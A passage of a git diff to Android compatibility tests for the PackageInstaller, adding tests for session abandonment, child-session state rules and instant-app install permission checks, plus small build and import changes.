+    public void testInvalidStateScenario_AddChildToCommittedSessionShouldFail() throws Exception {
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            LocalIntentSender sender = new LocalIntentSender();
+            parent.commit(sender.getIntentSender());
+            try {
+                parent.addChildSessionId(childId);
+                fail("Should not be able to add child to a committed session");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests a committed session can't remove child.
+     */
+    @Test
+    public void testInvalidStateScenario_RemoveChildFromCommittedSessionShouldFail()
+            throws Exception {
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            parent.addChildSessionId(childId);
+            LocalIntentSender sender = new LocalIntentSender();
+            parent.commit(sender.getIntentSender());
+            try {
+                parent.removeChildSessionId(childId);
+                fail("Should not be able to remove child from a committed session");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests removing a child that is not its own should do nothing.
+     */
+    @Test
+    public void testInvalidStateScenario_RemoveWrongChildShouldDoNothing() throws Exception {
+        int parent1Id = Install.multi(TestApp.A1).createSession();
+        int parent2Id = Install.multi(TestApp.C1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent1 = openPackageInstallerSession(parent1Id);
+             PackageInstaller.Session parent2 = openPackageInstallerSession(parent2Id);) {
+            parent1.addChildSessionId(childId);
+            // Should do nothing since the child doesn't belong to parent2
+            parent2.removeChildSessionId(childId);
+            int currentParentId =
+                    InstallUtils.getPackageInstaller().getSessionInfo(childId).getParentSessionId();
+            // Check this child still belongs to parent1
+            assertThat(currentParentId).isEqualTo(parent1Id);
+            assertThat(parent1.getChildSessionIds()).asList().contains(childId);
+            assertThat(parent2.getChildSessionIds()).asList().doesNotContain(childId);
+        }
+    }
+
+    @Test
     public void testInvalidStateScenarios() throws Exception {
         int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
         try (PackageInstaller.Session parentSession =
@@ -147,7 +349,8 @@
                 try (PackageInstaller.Session childSession =
                              openPackageInstallerSession(childSessionId)) {
                     try {
-                        childSession.commit(LocalIntentSender.getIntentSender());
+                        LocalIntentSender sender = new LocalIntentSender();
+                        childSession.commit(sender.getIntentSender());
                         fail("Should not be able to commit a child session!");
                     } catch (IllegalStateException e) {
                         // ignore
@@ -172,8 +375,9 @@
                 }
             }
 
-            parentSession.commit(LocalIntentSender.getIntentSender());
-            assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+            LocalIntentSender sender = new LocalIntentSender();
+            parentSession.commit(sender.getIntentSender());
+            assertStatusSuccess(sender.getResult());
         }
     }
 
@@ -186,6 +390,6 @@
     }
 
     private static void assertInconsistentSettings(String failMessage, Install install) {
-        InstallUtils.commitExpectingFailure(AssertionError.class, failMessage, install);
+        InstallUtils.commitExpectingFailure(IllegalStateException.class, failMessage, install);
     }
 }
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/SessionAbandonBehaviorTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/SessionAbandonBehaviorTest.java
new file mode 100644
index 0000000..13324e3
--- /dev/null
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/SessionAbandonBehaviorTest.java
@@ -0,0 +1,596 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.atomicinstall;
+
+import static com.android.compatibility.common.util.MatcherUtils.assertThrows;
+import static com.android.compatibility.common.util.MatcherUtils.hasMessageThat;
+import static com.android.compatibility.common.util.MatcherUtils.instanceOf;
+import static com.android.cts.install.lib.InstallUtils.openPackageInstallerSession;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
+import android.Manifest;
+import android.content.pm.PackageInstaller;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import androidx.annotation.NonNull;
+import androidx.core.util.Preconditions;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * There are the following factors need to combine for testing the abandon behavior.
+ * <ul>
+ *     <li>staged vs. noStaged</li>
+ *     <li>Single Package vs. MultiPackage</li>
+ *     <li>Receive callback, Session Info abandoned, getNames, openWrite, open abandoned session
+ *     etc.</li>
+ * </ul>*
+ */
+@RunWith(AndroidJUnit4.class)
+public class SessionAbandonBehaviorTest {
+    /**
+     * Please don't change too small to ensure the test run normally.
+     */
+    public static final int CALLBACK_TIMEOUT_SECONDS = 10;
+
+    /**
+     * To wait 1 second prevents the race condition from the framework services.
+     * The child session is cleaned up asynchronously after abandoning the parent session. Even
+     * if receiving the callback to tell the session is finished, it may be the race condition
+     * between executing {@link PackageInstaller#getSessionInfo(int)} and cleaning up the
+     * {@link android.content.pm.PackageInstaller.Session}.
+     */
+    public static final long PREVENT_RACE_CONDITION_TIMEOUT_SECONDS = TimeUnit.SECONDS.toMillis(1);
+    private static final byte[] PLACE_HOLDER_STRING_BYTES = "Place Holder".getBytes();
+
+    /**
+     * This is a wrapper class to let the test easier to focus on the "onFinish". It implements
+     * all of abstract methods with nothing in {@link PackageInstaller.SessionCallback} except for
+     * onFinish function.
+     */
+    private static class AbandonSessionCallBack extends PackageInstaller.SessionCallback {
+        private final CountDownLatch mCountDownLatch;
+        private final List<Integer> mSessionIds;
+
+        AbandonSessionCallBack(CountDownLatch countDownLatch, int[] sessionIds) {
+            mCountDownLatch = countDownLatch;
+            mSessionIds = new ArrayList<>();
+            for (int sessionId : sessionIds) {
+                mSessionIds.add(sessionId);
+            }
+        }
+
+        AbandonSessionCallBack(CountDownLatch countDownLatch, int sessionId) {
+            this(countDownLatch, new int[]{sessionId});
+        }
+
+        @Override
+        public void onCreated(int sessionId) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onBadgingChanged(int sessionId) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onActiveChanged(int sessionId, boolean active) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onProgressChanged(int sessionId, float progress) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onFinished(int sessionId, boolean success) {
+            if (!success) {
+                if (mSessionIds.contains(sessionId)) {
+                    mCountDownLatch.countDown();
+                }
+            }
+        }
+    }
+
+    @Rule
+    public final AdoptShellPermissionsRule mAdoptShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    private final List<PackageInstaller.SessionCallback> mSessionCallbacks = new ArrayList<>();
+
+    private Handler mHandler;
+    private HandlerThread mHandlerThread;
+    private List<Closeable> mCloseableList = new ArrayList<>();
+
+    @After
+    public void tearDown() {
+        for (Closeable closeable : mCloseableList) {
+            try {
+                closeable.close();
+            } catch (IOException e) {
+                /* ensure close the resources and do no nothing */
+            }
+        }
+
+        for (PackageInstaller.SessionCallback sessionCallback : mSessionCallbacks) {
+            InstallUtils.getPackageInstaller().unregisterSessionCallback(sessionCallback);
+        }
+        mSessionCallbacks.clear();
+
+        if (mHandlerThread != null) {
+            mHandlerThread.quit();
+        }
+    }
+
+
+    /**
+     * To help the test to register the {@link PackageInstaller.SessionCallback} easier and the
+     * parameter {@link PackageInstaller.SessionCallback} will unregister after the end of the
+     * test.
+     *
+     * @param sessionCallback registers by the {@link PackageInstaller}
+     */
+    private void registerSessionCallbacks(
+            @NonNull PackageInstaller.SessionCallback sessionCallback) {
+        Preconditions.checkNotNull(sessionCallback);
+        Preconditions.checkArgument(!mSessionCallbacks.contains(sessionCallback),
+                "The callback has registered.");
+
+        if (mHandler == null) {
+            mHandlerThread = new HandlerThread(mTestName.getMethodName());
+            mHandlerThread.start();
+            mHandler = new Handler(mHandlerThread.getLooper());
+        }
+
+        InstallUtils.getPackageInstaller().registerSessionCallback(sessionCallback, mHandler);
+        mSessionCallbacks.add(sessionCallback);
+    }
+
+    /**
+     * To get all of child session IDs.
+     *
+     * @param parentSessionId the parent session id
+     * @return the array of child session IDs
+     * @throws IOException caused by opening parent session fail.
+     */
+    private int[] getChildSessionIds(int parentSessionId) throws IOException {
+        try (PackageInstaller.Session parentSession =
+                     openPackageInstallerSession(parentSessionId)) {
+            return parentSession.getChildSessionIds();
+        }
+    }
+
+    private static List<PackageInstaller.SessionInfo> getAllChildSessions(int[] sessionIds) {
+        List<PackageInstaller.SessionInfo> result = new ArrayList<>();
+        for (int sessionId : sessionIds) {
+            final PackageInstaller.SessionInfo session =
+                    InstallUtils.getPackageInstaller().getSessionInfo(sessionId);
+            if (session != null) {
+                result.add(session);
+            }
+        }
+        return result;
+    }
+
+    /**
+     * To open the specified session.
+     * <p>
+     * The opened resources will be closed in {@link #tearDown()} automatically.
+     * </p>
+     *
+     * @param sessionId the session want to open
+     * @return the opened {@link PackageInstaller.Session} instance
+     * @throws IOException caused by opening {@link PackageInstaller.Session} fail.
+     */
+    private PackageInstaller.Session openSession(int sessionId) throws IOException {
+        PackageInstaller.Session session = openPackageInstallerSession(sessionId);
+        mCloseableList.add(session);
+
+        return session;
+    }
+
+    /**
+     * To open and write the file for the specified session.
+     * <p>
+     * The opened resources will be closed in {@link #tearDown()} automatically.
+     * </p>
+     *
+     * @param sessionId the session want to open
+     * @param fileName  the expected file name
+     * @return the opened {@link OutputStream} instance
+     * @throws IOException caused by opening file fail.
+     */
+    private OutputStream openSessionForWrite(int sessionId, String fileName) throws IOException {
+        PackageInstaller.Session session = openSession(sessionId);
+        OutputStream os = session.openWrite(fileName, 0, -1);
+        mCloseableList.add(os);
+
+        return os;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        Uninstall.packages(TestApp.A, TestApp.B);
+    }
+
+    @Test
+    public void abandon_stagedSession_shouldReceiveAbandonCallBack()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Test
+    public void abandon_nonStagedSession_shouldReceiveAbandonCallBack()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+
+    @Test
+    public void abandon_stagedSession_openedSession_canNotGetNames()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        final PackageInstaller.Session session = openSession(sessionId);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("getNames not allowed"))),
+                () -> session.getNames());
+    }
+
+    @Test
+    public void abandon_nonStagedSession_openedSession_canNotGetNames()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        final PackageInstaller.Session session = openSession(sessionId);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("getNames not allowed"))),
+                () -> session.getNames());
+    }
+
+    @Test
+    public void abandon_stagedSession_openForWriting_shouldFail()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+        final OutputStream outputStream = openSessionForWrite(sessionId,
+                mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_nonStagedSession_openForWriting_shouldFail()
+            throws Exception {
+        final int sessiondId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessiondId));
+        final OutputStream outputStream = openSessionForWrite(sessiondId,
+                mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(sessiondId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_stagedSession_canNotOpenAgain()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(sessionId)))),
+                () -> InstallUtils.getPackageInstaller().openSession(sessionId));
+    }
+
+    @Test
+    public void abandon_nonStagedSession_canNotOpenAgain()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(sessionId)))),
+                () -> InstallUtils.getPackageInstaller().openSession(sessionId));
+    }
+
+    @Test
+    public void abandon_stagedParentSession_shouldReceiveAllChildrenAbandonCallBack()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1,
+                TestApp.B1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_shouldReceiveAllChildrenAbandonCallBack()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Test
+    public void abandon_stagedParentSession_shouldAbandonAllChildrenSessions()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1, TestApp.B1)
+                .setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("The result should be an empty list.",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS,
+                () -> getAllChildSessions(childSessionIds).isEmpty());
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_shouldAbandonAllChildrenSessions()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("The result should be empty list",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS,
+                () -> getAllChildSessions(childSessionIds).isEmpty());
+    }
+
+    @Test
+    public void abandon_stagedParentSession_openedChildSession_getNamesShouldReturnEmptyList()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        final PackageInstaller.Session childSession = openSession(firstChildSession);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // TODO(b/171774482): the inconsistent behavior between staged and non-staged child session
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("The result should be empty list",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS, () -> {
+                    final String[] names;
+                    try {
+                        names = childSession.getNames();
+                    } catch (IOException e) {
+                        return false;
+                    }
+                    return names != null && names.length == 0;
+                });
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_openedChildSession_canNotGetNames()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        final PackageInstaller.Session childSession = openSession(firstChildSession);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("getNames should get the security exception",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS, () -> {
+                    try {
+                        childSession.getNames();
+                    } catch (SecurityException e) {
+                        if (e.getMessage().contains("getNames")) {
+                            return true;
+                        }
+                    } catch (IOException e) {
+                        return false;
+                    }
+                    return false;
+                });
+    }
+
+    @Test
+    public void abandon_stagedParentSession_openChildSessionForWriting_shouldFail()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+        final OutputStream outputStream = openSessionForWrite(firstChildSession,
+                mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_openChildSessionForWriting_shouldFail()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+        final OutputStream outputStream =
+                openSessionForWrite(firstChildSession, mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_stagedParentSession_childSession_canNotOpenAgain()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(firstChildSession)))),
+                () -> InstallUtils.getPackageInstaller().openSession(firstChildSession));
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_childSession_canNotOpenAgain()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final int firstChildSession = childSessionIds[0];
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(firstChildSession)))),
+                () -> InstallUtils.getPackageInstaller().openSession(firstChildSession));
+    }
+}
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index 45eb038..f006c1b 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -17,6 +17,7 @@
 package android.packageinstaller.install.cts
 
 import android.app.PendingIntent
+import android.app.PendingIntent.FLAG_MUTABLE
 import android.app.PendingIntent.FLAG_UPDATE_CURRENT
 import android.content.BroadcastReceiver
 import android.content.Context
@@ -32,18 +33,17 @@
 import android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL
 import android.content.pm.PackageManager
 import android.support.test.uiautomator.By
-import androidx.test.InstrumentationRegistry
-import androidx.test.rule.ActivityTestRule
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.Until
 import androidx.core.content.FileProvider
+import androidx.test.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
 import com.android.compatibility.common.util.FutureResultActivity
 import org.junit.After
 import org.junit.Assert
 import org.junit.Before
 import org.junit.Rule
 import java.io.File
-import java.lang.IllegalArgumentException
 import java.util.concurrent.CompletableFuture
 import java.util.concurrent.LinkedBlockingQueue
 import java.util.concurrent.TimeUnit
@@ -61,6 +61,8 @@
 const val TIMEOUT = 60000L
 const val APP_OP_STR = "REQUEST_INSTALL_PACKAGES"
 
+const val INSTALL_INSTANT_APP = 0x00000800
+
 open class PackageInstallerTestBase {
     @get:Rule
     val installDialogStarter = ActivityTestRule(FutureResultActivity::class.java)
@@ -130,10 +132,20 @@
      * Start an installation via a session
      */
     protected fun startInstallationViaSession(): CompletableFuture<Int> {
+        return startInstallationViaSession(0 /* installFlags */)
+    }
+
+    protected fun startInstallationViaSession(installFlags: Int): CompletableFuture<Int> {
         val pi = pm.packageInstaller
 
         // Create session
-        val sessionId = pi.createSession(PackageInstaller.SessionParams(MODE_FULL_INSTALL))
+        val sessionParam = PackageInstaller.SessionParams(MODE_FULL_INSTALL)
+        // Handle additional install flags
+        if (installFlags and INSTALL_INSTANT_APP != 0) {
+            sessionParam.setInstallAsInstantApp(true)
+        }
+
+        val sessionId = pi.createSession(sessionParam)
         val session = pi.openSession(sessionId)!!
 
         // Write data to session
@@ -146,7 +158,7 @@
         // Commit session
         val dialog = FutureResultActivity.doAndAwaitStart {
             val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(INSTALL_ACTION_CB),
-                    FLAG_UPDATE_CURRENT)
+                    FLAG_UPDATE_CURRENT or FLAG_MUTABLE)
             session.commit(pendingIntent.intentSender)
         }
 
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 69096f8..8df0c6b 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -114,4 +114,22 @@
             setSecureFrp(false)
         }
     }
+
+    /**
+     * Check that can't install Instant App when installer don't have proper permission.
+     */
+    @Test
+    fun confirmInstantInstallationFails() {
+        try {
+            val installation = startInstallationViaSession(INSTALL_INSTANT_APP)
+            clickInstallerUIButton(CANCEL_BUTTON_ID)
+
+            fail("Expected security exception on instant install from non-system app")
+        } catch (expected: SecurityException) {
+            // Expected
+        }
+
+        // Install should never have started
+        assertNotInstalled()
+    }
 }
diff --git a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
index 235f589..e60e53a 100644
--- a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
+++ b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
@@ -145,7 +145,7 @@
 
         // Commit session
         val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(ACTION),
-                PendingIntent.FLAG_UPDATE_CURRENT)
+                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE)
         session.commit(pendingIntent.intentSender)
     }
 
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index 4f0743d..6aaeade 100644
--- a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -32,7 +32,7 @@
     test_suites: [
         "arcts",
         "cts",
-        "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/OWNERS b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/OWNERS
new file mode 100644
index 0000000..b77d5ed
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/OWNERS
@@ -0,0 +1 @@
+evanseverson@google.com
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.bp b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
similarity index 100%
rename from tests/tests/packageinstaller/emptytestapp/Android.bp
rename to tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
diff --git a/tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/emptytestapp/AndroidManifest.xml
